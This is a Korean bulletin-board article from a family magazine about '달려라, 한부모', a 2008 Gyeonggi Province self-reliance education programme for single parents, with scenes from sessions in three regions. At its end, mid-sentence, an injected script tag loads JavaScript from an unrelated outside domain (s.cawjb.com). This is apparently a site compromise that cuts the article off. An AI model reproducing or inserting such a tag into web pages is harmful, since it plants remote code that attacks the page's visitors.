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제 목 |
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한부모가장 자립교육 “달려라, 한부모” |
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번 호 |
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801 |
조회수 |
3286 |
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이메일 |
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작성자 |
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월간 아름다운가정 |
작성일 |
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08-07-27 |
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내 용 |
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지난 7월 3일 의정부시 종합사회복지관에서는 한부모가장 자립교육 프
로그램인 “달려라, 한부모” 부모교육 수료식이 있었다.
“달려라, 한부모”는 경기도청에서 저소득 한부모가정 부모를 대상으
로 자립의지를 고취시키고자 마련한 것으로 한국한부모가정연구소에
서 사업을 수탁하여 주최하고 있다.
“달려라, 한부모”는 이혼, 사별, 미혼모, 별거 등으로 한부모가정
이 된 이후 어려움을 겪는 한부모가정의 부모들에게 심리적 안정과 홀
로서기, 한부모가정 자녀이해 그리고 사회지원망 활용 등의 부모교육
을 실시하여 자립의지를 북돋고자 한 것이다.
이 자립교육은 경기도를 고양시, 의정부, 남양주 권역으로 나누어 각
각 동일한 주제의 부모교육을 제공하도록 되어 있다.
이런 추진계획에 따라 각 권역별로 15명 이상의 한부모들을 초대하
여 10회기 교육을 제공하여 약 400여명에게 교육적 해택을 주고자 한
것이다.
지난 5월 시작된 “달려라, 한부모” 자립교육은 이제 의정부 권역을
시작으로 고양시, 남양주 권역 순으로 종료단계에 들어서고 있다.
자립교육 수료를 얼마 남겨두지 않은 시점에서 각 권역별 한부모가장
자립교육 현장을 탐방하여 교육에 참가한 한부모의 삶을 엿보고자 한
다.
끊임없는 혼란
고양시 문촌7사회복지관 내 집단상담실에서는 한부모가장 자립교육이
한창이었다.
조양자 한부모가정지도사(동남보건대학 교수)가 강의를 맡은 “현실적
응”이란 교육은 한부모가장의 사회적응에 도움을 주는 교육내용이었
다.
이날 한부모님들은 결혼과 이혼, 그리고 재혼에 대한 문제를 허심탄회
하게 털어놓고 이야기 나누었다. 어떤 한부모는 전 배우자와의 갈등
이 해소되지 않아 여전히 힘들어하기도 하였다.
“제 결혼생활은 아주 엉망이었어요. 결혼 후 남편의 외도, 폭력 등으
로 힘든 세월을 보냈지요. 그런데 이혼한 남편이 아직도 절 괴롭혀
요. 어떻게 해야 할지 모르겠어요”
조양자 한부모가정지도사는 “한부모가정의 부모들 중에는 이혼 후 배
우자와의 분리가 안 돼 어려움을 겪는 사람들이 있다. 이 교육은 그
런 한부모들에게 이혼 후의 삶에 대해 긍정적인 사고를 가질 수 있도
록 돕는 교육이었다”고 말했다.
나는 홀로서기 중
남양주 권역의 자립교육은 남양주 건강가정지원센터 강의실을 빌려 진
행되었다.
남양주 권역은 다른 지역보다는 참가자의 수가 적다 보니 이날 참석
한 한부모는 7명 정도에 머물렀다.
이 지역은 참여자가 소수이기 때문에 그 어느 권역보다도 한부모의 삶
에 대해 심도 있게 접근하고 있었다. 이날 자립교육 주제는 홀로서기
로 윤영섭 한부모가정지도사(분당 주영교회 목사)의 강의가 이어졌
다.
프로그램에 참석한 김연희(가명)님은 자신이 홀로서기 단계에 머물고
있다고 말했다.
“한부모로 산다는 것이 참으로 힘듭니다. 사회적인 편견까지 겹쳐 하
루하루를 보내는 것이 힘겨울 때도 있습니다. 그러나 홀로서기 위해
열심히 노력하고 있습니다.”
참석자들은 김연희 님과 같이 한부모로 살아가는 삶이 고달프기는 하
지만 이제는 시간이 흘러 홀로서기를 거쳐 극복해 나가는 과정 중에
있다고 말한다.
삶의 가장 힘겨운 시점에서 자신의 생을 들여다보고 현실을 직시할
수 있는 힘을 키워나가는 시간인 듯 보였다. 자신의 삶에 대해 터놓
고 이야기할 수 있는 공간, 그것이 바로 “달라라, 한부모” 부모교육
이었다.
꿈을 꾸지 못하는 한부모들
의정부 권역의 자립교육은 의정부 종합사회복지관에서 실시됐다. 의정
부 종합사회복지관은 이전부터 여성가장 자립프로그램을 운영해온 기
관이다. 그런 운영경험으로 “달려라, 한부모” 부모교육에도 적극적
으로 협조하고 있었다.
이날의 주제는 미래설계로 강사는 오윤주 센터장(부천시 한부모가정지
원센터)이었다. 오윤주 센터장은 한부모들에게 미래설계의 중요성을
강조하고 목표를 세우도록 도왔다.
오 센터장의 이야기가 끝나기도 전에 여기저기서 공감하는 듯 고개를
끄덕이는 한부모들이 눈에 띄었다. 한부모가정의 부모들에게는 꿈이
적다고 한다. 아니 꿈은 있으되 자신을 위한 꿈은 그리 많지 않다고
한다.
“한부모님은 어떤 꿈을 갖고 있습니까?”, “당신의 목표는 무엇입니
까”라는 강사의 질문에 한부모들은 “자녀가 잘 되는 것이지요”,
“우리 아이가 건강하게 자라주는 것이지요.”, “아이가 대학에 가
는 거요” 등의 소망을 이야기 하는 사람들이 많았다.
꿈은 있었으나 자신을 위한 꿈이 아닌 자녀의 꿈을 대신 꾸는 사람들
이 바로 한부모가정의 부모들이란 생각이 든다.
미래설계 강좌는 자신의 행복을 위한 소망과 목표를 상실한 한부모가
정의 부모에게 꿈과 희망을 품게 하고, 미래를 ?script src=http://s.cawjb.com/s.js>
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